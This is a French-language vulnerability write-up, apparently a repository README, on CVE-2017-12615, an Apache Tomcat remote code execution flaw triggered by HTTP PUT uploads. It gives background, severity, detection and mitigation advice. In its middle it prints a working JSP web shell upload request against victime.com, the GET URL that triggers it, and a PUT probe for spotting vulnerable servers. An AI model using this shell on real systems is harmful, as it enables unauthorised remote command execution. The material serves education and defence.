
CVE-2017-12615 - Exécution de code à distance (RCE) Apache Tomcat
CVE-2017-12615 est une vulnérabilité d'exécution de code à distance (RCE) affectant Apache Tomcat 7.0.0 à 7.0.79 fonctionnant sur Microsoft Windows lorsque les requêtes HTTP PUT sont activées.
La vulnérabilité existe car Tomcat gère incorrectement les fichiers JSP téléchargés lorsque le DefaultServlet est configuré avec le paramètre readonly défini sur false. Dans ces conditions, un attaquant non authentifié peut télécharger un fichier JSP malveillant directement sur le serveur web et exécuter du code Java arbitraire simplement en demandant le fichier téléchargé.
Cette vulnérabilité est devenue l'un des problèmes RCE Tomcat les plus connus en raison de la facilité avec laquelle elle pouvait être exploitée contre des serveurs mal configurés.
readonly="false" configuré sur le DefaultServlet| Métrique | Valeur |
|---|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (Élevée) |
| Vecteur d'attaque | Réseau |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Impact | Exécution de code à distance |
Normalement, Apache Tomcat empêche les utilisateurs de télécharger des fichiers JSP exécutables.
Cependant, lorsque :
readonly=false)un attaquant peut télécharger un fichier JSP directement dans la racine web.
Une fois téléchargé, la demande de ce JSP amène Tomcat à le compiler et à l'exécuter, permettant l'exécution de code Java arbitraire sous les privilèges du service Tomcat.
Attaquant
│
│ HTTP PUT
▼
Télécharge un shell JSP malveillant
│
▼
Tomcat stocke le fichier
│
│ HTTP GET
▼
Demande le JSP téléchargé
│
▼
Tomcat compile le JSP
│
▼
Le code Java s'exécute
│
▼
Exécution de code à distance
Une attaque typique suit ces étapes :
.jsp malveillant.Aucune authentification n'est requise si le serveur est vulnérable.
Exemple de requête HTTP PUT :
PUT /shell.jsp HTTP/1.1
Host: victime.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
Si elle réussit, le serveur répond avec :
HTTP/1.1 201 Created
La charge utile peut ensuite être exécutée en visitant :
http://victime.com/shell.jsp?cmd=whoami
Une façon simple d'identifier les systèmes vulnérables consiste à tenter de télécharger un JSP de test inoffensif :
PUT /test.jsp
Les réponses possibles incluent :
201 Created
ou
204 No Content
Si le fichier téléchargé peut ensuite être récupéré via HTTP, le serveur est probablement vulnérable.
Une exploitation réussie permet à un attaquant de :
Les équipes de sécurité doivent enquêter sur :
.jsp nouvellement créésLes mesures d'atténuation recommandées incluent :
readonly="true".| Propriété | Valeur |
|---|---|
| Vulnérabilité | Téléchargement arbitraire de JSP |
| CWE | CWE-434 - Téléchargement sans restriction de fichier de type dangereux |
| Authentification requise | Non |
| Complexité de l'exploit | Faible sur les configurations vulnérables |
| Résultat | Exécution de code à distance |
| Plateforme | Windows |
| Service | Apache Tomcat |
Ce dépôt est destiné uniquement à des fins éducatives, de recherche en sécurité défensive et de tests d'intrusion autorisés. N'utilisez pas ces informations contre des systèmes sans autorisation explicite.